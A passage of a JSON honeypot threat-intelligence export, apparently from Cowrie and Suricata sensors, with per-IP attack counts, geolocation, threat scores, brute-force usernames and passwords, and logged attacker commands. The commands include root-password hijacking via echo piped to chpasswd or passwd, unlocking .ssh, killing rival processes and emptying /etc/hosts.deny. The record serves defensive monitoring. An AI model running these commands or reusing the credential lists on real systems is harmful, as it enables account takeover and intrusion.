      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T22:35:33.139000+00:00",
        "last_seen_30d": "2026-04-30T22:36:51.063000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "40.160.228.184": {
      "attack_count": 2,
      "first_seen": "2026-04-30T17:10:28.685Z",
      "last_seen": "2026-04-30T17:10:59.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Westmont",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:10:28.685000+00:00",
        "last_seen_30d": "2026-04-30T17:12:00.967000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.43.69.65": {
      "attack_count": 2,
      "first_seen": "2026-04-01T18:55:07.090Z",
      "last_seen": "2026-04-01T18:55:39.713Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T18:55:07.090000+00:00",
        "last_seen_30d": "2026-04-01T18:56:41.903000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.59.118.225": {
      "attack_count": 2,
      "first_seen": "2026-04-25T17:15:16.121Z",
      "last_seen": "2026-04-25T17:17:16.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T17:15:16.121000+00:00",
        "last_seen_30d": "2026-04-25T17:18:25.627000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "20.203.42.204": {
      "attack_count": 3061,
      "first_seen": "2026-04-01T10:59:46.219Z",
      "last_seen": "2026-04-30T17:45:34.919Z",
      "sessions": 344,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "user",
        "ftpuser",
        "git",
        "postgres",
        "deploy",
        "frappe",
        "erpnext",
        "admin",
        "bot",
        "n8n",
        "crm",
        "gmodserver",
        "oracle",
        "steam1",
        "system",
        "tidb"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Aa112211.",
        "nPSpP4PBW0",
        "password",
        "test123",
        "!Q2w3e4r5t",
        "0000",
        "101010",
        "112233",
        "123456aa@",
        "123456wW",
        "123asd,./",
        "1qa@WS3ed$RF",
        "AAdd123123",
        "Hello@123",
        "N8n24",
        "ZAQ!2wsx654321@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"password\\nW3NUBsheVoVo\\nW3NUBsheVoVo\\n\"|passwd",
        "echo -e \"password\\nW3NUBsheVoVo\\nW3NUBsheVoVo\"|passwd|bash",
        "echo \"123123\\nbFRIf5TOjSXW\\nbFRIf5TOjSXW\\n\"|passwd",
        "echo \"123123\\npc4tkbinvvN9\\npc4tkbinvvN9\\n\"|passwd",
        "echo \"123456\\natsKR9f8rNnu\\natsKR9f8rNnu\\n\"|passwd",
        "echo \"123456\\nfHMk65Ix60fB\\nfHMk65Ix60fB\\n\"|passwd",
        "echo \"123456\\nrex7Rrh8Qpxx\\nrex7Rrh8Qpxx\\n\"|passwd",
        "echo \"123\\nVUc05KiZeBBZ\\nVUc05KiZeBBZ\\n\"|passwd",
        "echo \"123qaz\\ncURlqNA1A1L8\\ncURlqNA1A1L8\\n\"|passwd",
        "echo \"123qaz\\nwCgKm98yjf2H\\nwCgKm98yjf2H\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3847,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:59:46.219000+00:00",
        "last_seen_30d": "2026-04-30T17:46:41.199000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3061,
        "Suricata": 786
      }
    },
    "178.16.54.226": {
      "attack_count": 2047,
      "first_seen": "2026-04-01T00:15:55.996Z",
      "last_seen": "2026-04-30T23:39:33.156Z",
      "sessions": 391,
      "ports": [],
      "usernames_attempted": [
        "ftp1",
        "oracle",
        "authority",
        "ddd",
        "admin"
      ],
      "passwords_attempted": [
        "ftp1",
        "or4cl3",
        "authority",
        "ddd",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3128,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:15:55.996000+00:00",
        "last_seen_30d": "2026-04-30T23:40:39.182000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2047,
        "Suricata": 1081
      }
    },
    "5.223.49.222": {
      "attack_count": 787,
      "first_seen": "2026-04-03T08:47:50.084Z",
      "last_seen": "2026-04-03T10:19:26.162Z",
      "sessions": 157,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "user",
        "app",
        "elastic",
        "ftp",
        "gitlab",
        "hadoop",
        "nginx",
        "oscar",
        "postgres",
        "tom",
        "uftp",
        "dev",
        "developer",
        "dolphinscheduler",
        "esuser",
        "flask"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "12345678",
        "1qaz@WSX",
        "admin",
        "password",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@WSX",
        "!QAZ@wsx",
        "1",
        "111111",
        "1234",
        "12345",
        "1234567890",
        "1234qwer",
        "123qwe",
        "1Q2w3e4r"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 215859,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T08:47:50.084000+00:00",
        "last_seen_30d": "2026-04-03T10:20:27.733000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 787,
        "Suricata": 334
      }
    },
    "103.88.76.27": {
      "attack_count": 771,
      "first_seen": "2026-04-02T03:49:00.528Z",
      "last_seen": "2026-04-08T09:59:01.051Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "akshay",
        "deploy",
        "ftpuser2",
        "git-admin",
        "labuser",
        "metabase",
        "minecraft",
        "odoo",
        "oracle",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10202640",
        "102030",
        "12345678",
        "123456789Ab",
        "123@.com",
        "123gogogo",
        "1qaz@WSX3edc",
        "2026@Admin",
        "@123456",
        "Aa1234567",
        "Bi123456",
        "Kq123456",
        "Odoo06",
        "P@ssw0rd#123",
        "QQQ123456",
        "Qazwsx1234567@123",
        "Qq@123456789",
        "Qwer!@#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa1234567\\nqXbMUN6m58HE\\nqXbMUN6m58HE\\n\"|passwd",
        "echo \"root:2UP8MJhzIYyB\"|chpasswd|bash",
        "echo \"root:LYwe358GDgnF\"|chpasswd|bash",
        "echo \"root:Nz0c4Kgc86v7\"|chpasswd|bash",
        "echo \"root:fOS4L7Th0UPj\"|chpasswd|bash",
        "echo \"root:qUwBR4RszIm7\"|chpasswd|bash",
        "echo \"root:tXtUQJvZGgcD\"|chpasswd|bash",
        "echo \"root@123\\n28ZHF1HKsoWt\\n28ZHF1HKsoWt\\n\"|passwd",
        "echo -e \"Aa1234567\\nqXbMUN6m58HE\\nqXbMUN6m58HE\"|passwd|bash",
        "echo -e \"root@123\\n28ZHF1HKsoWt\\n28ZHF1HKsoWt\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 136336,
      "as_org": "Thamizhaga Internet Communications Private Limited",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 913,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T03:49:00.528000+00:00",
        "last_seen_30d": "2026-04-08T10:00:02.428000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 771,
        "Suricata": 142
      }
    },
    "78.100.64.148": {
      "attack_count": 666,
      "first_seen": "2026-04-09T18:24:20.156Z",
      "last_seen": "2026-04-23T05:28:13.312Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "test",
        "ubuntu",
        "deploy",
        "patrick",
        "postgres",
        "sammy",
        "Ubuntu",
        "backoffice",
        "camera",
        "db2inst1",
        "deep",
        "frappe",
        "git",
        "it",
        "james",
        "jorge",
        "msuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "123",
        "12345678",
        "123qwer",
        "54321",
        "654321",
        "8ik,9ol.",
        "A1234567891011121314151617181920",
        "Asdf1234!@#$",
        "Chen@123",
        "DEPLOY",
        "N8n26!",
        "Oracle12345",
        "PASSW0RD@123",
        "Postgres!2025",
        "Postgres05",
        "Qazwsx1.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"patrick\\npyuyimEvWujZ\\npyuyimEvWujZ\\n\"|passwd",
        "echo \"root:4W4PfSLjv7De\"|chpasswd|bash",
        "echo \"root:eyloUYPTeHoG\"|chpasswd|bash",
        "echo \"root:fpfIbQUfziu4\"|chpasswd|bash",
        "echo \"sammy31\\nMtfltTRZxV0z\\nMtfltTRZxV0z\\n\"|passwd",
        "echo \"ubuntu@2024\\n5h7s1lVW7dNK\\n5h7s1lVW7dNK\\n\"|passwd",
        "echo -e \"patrick\\npyuyimEvWujZ\\npyuyimEvWujZ\"|passwd|bash",
        "echo -e \"sammy31\\nMtfltTRZxV0z\\nMtfltTRZxV0z\"|passwd|bash",
        "echo -e \"ubuntu@2024\\n5h7s1lVW7dNK\\n5h7s1lVW7dNK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 8781,
      "as_org": "Ooredoo Q.S.C.",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 811,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:24:20.156000+00:00",
        "last_seen_30d": "2026-04-23T05:29:17.058000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 666,
        "Suricata": 145
      }
    },
    "45.169.128.70": {
      "attack_count": 655,
      "first_seen": "2026-04-04T17:58:13.168Z",
      "last_seen": "2026-04-22T19:05:20.974Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ubuntu",
        "user",
        "postgres",
        "monitor",
        "mysql",
        "admin1234",
        "ali",
        "bot",
        "claude",
        "deploy",
        "dsm",
        "frappe",
        "front-user",
        "git",
        "guest",
        "innova",
        "jenkins"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "test",
        "00000000",
        "1111",
        "123-zxcv",
        "1234!@#$qwer",
        "12345",
        "12345@zxcv",
        "1qaz2wsx3edc!!",
        "2323",
        "369369",
        "Aa@123456789",
        "Ab1234567",
        "Admin1@",
        "Ali8",
        "BBcc111",
        "ChangeMe",
        "Claude!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin1@\\n8p5qrGgHK8rR\\n8p5qrGgHK8rR\\n\"|passwd",
        "echo \"ChangeMe\\nZATa6CI4Y1Ot\\nZATa6CI4Y1Ot\\n\"|passwd",
        "echo \"monitor@2026\\nN2EBzXRAbeUN\\nN2EBzXRAbeUN\\n\"|passwd",
        "echo \"root:s0qDgUJBZfTZ\"|chpasswd|bash",
        "echo -e \"Admin1@\\n8p5qrGgHK8rR\\n8p5qrGgHK8rR\"|passwd|bash",
        "echo -e \"ChangeMe\\nZATa6CI4Y1Ot\\nZATa6CI4Y1Ot\"|passwd|bash",
        "echo -e \"monitor@2026\\nN2EBzXRAbeUN\\nN2EBzXRAbeUN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juiz de Fora",
      "asn": 268114,
      "as_org": "THM Tecnologia Net Ltda",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.3,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 849,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T17:58:13.168000+00:00",
        "last_seen_30d": "2026-04-22T19:06:29.244000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 655,
        "Suricata": 194
      }
    },
    "79.45.101.239": {
      "attack_count": 566,
      "first_seen": "2026-04-02T06:27:57.073Z",
      "last_seen": "2026-04-12T12:26:05.615Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftpuser",
        "steam",
        "admin",
        "agotoz",
        "deploy",
        "elasticsearch",
        "rundeck",
        "student",
        "test",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!23QweAsd",
        "!@#$%^&*",
        "111@Abcd",
        "123456.asd",
        "12345678",
        "1234rewq",
        "123P@ssw0rd",
        "123qweasd",
        "ANGELIQUE",
        "Abc123++",
        "GU3ST",
        "Info2025",
        "Pa$$vord",
        "Pa$$w0rd@12345",
        "Password@1!",
        "Qazwsx0000$",
        "Qazwsx123321!",
        "Qazwsx2025#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:04slALzYBD5e\"|chpasswd|bash",
        "echo \"root:GV14WbwdezsN\"|chpasswd|bash",
        "echo \"root:fmQ3Hoj9jpM1\"|chpasswd|bash",
        "echo \"root:mkqZFZVAwmpk\"|chpasswd|bash",
        "echo \"wyse\\nRu2xNtzU9ORO\\nRu2xNtzU9ORO\\n\"|passwd",
        "echo -e \"wyse\\nRu2xNtzU9ORO\\nRu2xNtzU9ORO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 694,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:27:57.073000+00:00",
        "last_seen_30d": "2026-04-12T12:27:06.963000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 566,
        "Suricata": 128
      }
    },
    "116.99.173.117": {
      "attack_count": 431,
      "first_seen": "2026-04-27T17:47:00.185Z",
      "last_seen": "2026-04-27T18:15:38.961Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "monitor",
        "user",
        "123456",
        "ace",
        "am",
        "auto",
        "belkinstyle",
        "cisco",
        "client",
        "cpanel",
        "db2inst2",
        "demo",
        "dubai",
        "ftpuser",
        "george",
        "geral",
        "guest",
        "guest1"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345",
        "abc123",
        "admin",
        "password",
        "0987654321",
        "0l0ctyQh243O63uD",
        "111111",
        "112233",
        "72b1bd75ac87852a",
        "72ca06",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "ace",
        "admin01",
        "admin1",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 612,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:47:00.185000+00:00",
        "last_seen_30d": "2026-04-27T18:16:45.867000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 181
      }
    },
    "185.227.152.219": {
      "attack_count": 399,
      "first_seen": "2026-04-15T07:50:33.628Z",
      "last_seen": "2026-04-15T08:43:51.181Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "user",
        "deployer",
        "postgres",
        "ubuntu",
        "rke",
        "test",
        "tester",
        "tests",
        "ts3"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12356",
        "3edc4rfv@@",
        "A1234567090",
        "Aa.123456",
        "Abc654321",
        "P@ss$1234",
        "Passw0rd2026",
        "QQzz000",
        "QWERTY123@",
        "Root8888..",
        "Steam08",
        "Test20!",
        "a123456\"1",
        "asdfasdf1234",
        "liverovast#adkz443",
        "newpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Steam08\\naearb2Ffq4yW\\naearb2Ffq4yW\\n\"|passwd",
        "echo \"root:c0KhBJocYhp3\"|chpasswd|bash",
        "echo \"test\\nttp0XAAJB8PA\\nttp0XAAJB8PA\\n\"|passwd",
        "echo \"user23\\n7RyzQCqRybZ7\\n7RyzQCqRybZ7\\n\"|passwd",
        "echo -e \"Steam08\\naearb2Ffq4yW\\naearb2Ffq4yW\"|passwd|bash",
        "echo -e \"test\\nttp0XAAJB8PA\\nttp0XAAJB8PA\"|passwd|bash",
        "echo -e \"user23\\n7RyzQCqRybZ7\\n7RyzQCqRybZ7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T07:50:33.628000+00:00",
        "last_seen_30d": "2026-04-15T08:44:54.150000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 399,
        "Suricata": 107
      }
    },
    "20.12.41.6": {
      "attack_count": 372,
      "first_seen": "2026-04-01T20:42:30.290Z",
      "last_seen": "2026-04-01T21:43:22.809Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@WQ12wq",
        "123456qwert",
        "1234Pass",
        "123654987",
        "1QWE2asd3zxc",
        "2025121",
        "7788521521",
